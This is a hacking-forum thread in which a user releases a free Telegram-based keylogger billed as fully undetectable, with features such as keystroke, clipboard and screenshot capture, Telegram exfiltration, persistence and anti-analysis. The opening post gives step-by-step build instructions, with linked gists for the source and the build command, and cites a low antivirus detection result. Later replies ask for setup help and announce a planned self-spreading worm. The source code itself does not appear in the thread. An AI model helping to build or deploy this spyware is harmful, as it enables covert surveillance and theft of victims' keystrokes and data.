Thread: [\[FREE \] Keylogger \[Telegram Based \] FUD 2026](#)

anongreekcoder - June 3, 2026, 12:32 pm

Hello to the whole hackforums community !

I wanted to release something special here , fully fud, free, open source!

Features :

1. Keystroke Capture ?
2. Active Window Tracking ?
3. Clipboard Monitoring ?
4. Screenshot Capture ?
5. Telegram C2 Exfiltration ?
6. Persistence Mechanisms ?
7. Evasion / Anti-Analysis ?

Tutorial step by step :

1. Open notepad then visit github copy the whole source from there and paste it in.

[LINK]: <https://gist.github.com/anongreekops-arch/864be650b69b959b79c94497b7020a4f>

2. Edit Line 10 and 11 and go to this website or any website that you like and paste there your chatid and token from telegram.

[LINK]: <https://www.base64encode.org/> (note) : this is my choice, you can find plenty more also if you want!

3. After pasting them in the notepad save it as core32.py to your Desktop then open CMD on Desktop path and visit github copy and paste in cmd!

[LINK]: <https://gist.github.com/anongreekops-arch/bdfb8cafd6828bd3763c00ae213a72fb>

4. It will take you 2 min for the last step then after build you will see core32.exe at your desktop !

Virus scan of the last result as 9:16:40 PM GMT+2

[LINK]: <https://virusscan.iotti.org/en-US/filescanjob/xopjpe4kag>

Hope you enjoyed!

[[[Am not responsible for any actions that can be done with this project]]]

DONT ASK ME HOW TO MAKE BOTS ON TELEGRAM OR ANY RELATED !

Biggy_Asian - June 3, 2026, 12:33 pm

ai slop

anongreekcoder - June 3, 2026, 12:34 pm

Everything you see is on my hands , please feel free to ask anything ??

DramaKing - June 3, 2026, 2:20 pm

What Python compiler did you use that only got one detection?

MaîtreCornichon - June 6, 2026, 6:19 am

Thanks for sharing !

Your welcome :)

blackbox_hcker - June 9, 2026, 6:30 am

Why don't you use a hackers Operating System called Parrot OS, I use it and found one lurking on Linux called 'klogger.exe' in folder '/usr/share/windows-resources/binaries/' very funny enjoy! ?

I also have created a Keylogger in C programming language, but I lost my source code. But I still have the working binary file lol.

Hello, of course , but i am not sure if the results of the av's are same or more detected.

TenjuSensei - June 20, 2026, 3:09 pm

can you help me get it to work? im having a hard time

anongreekcoder - June 20, 2026, 5:47 pm

I already provided step by step tut on my thread . How can i help you further tho?

slyopez - July 5, 2026, 2:19 am

Is this still working, i am interested.

masteryodax - July 23, 2026, 9:32 am

Is it possible for you to explain this with pictures or a video? I would like the information sent to my email address; is that something that can be set up?

Th3HulK - August 7, 2026, 1:10 am

Thanks for sharing will check this out and revert

Edit: This didnt work as described, seem to be an half baked script.

Hello , i will release soon a worm and keylogger based telegram that auto spreads . Am still working on it .

eliotjames - October 14, 2026, 9:45 pm

completely ai generated and you didnt even try to hide it, welp. atleast you tried giving us a useful source.

anongreekcoder - October 18, 2026, 9:09 am

Bruh, 0 ai . If it was ai would it be that simple source code?

(Oct 14, 2026 09:45 PM)eliotjames Wrote: [\[CITE\]](#) completely ai generated and you didnt even try to hide it, welp. atleast you tried giving us a useful source.

What did make you think that it's generated from ai tho?
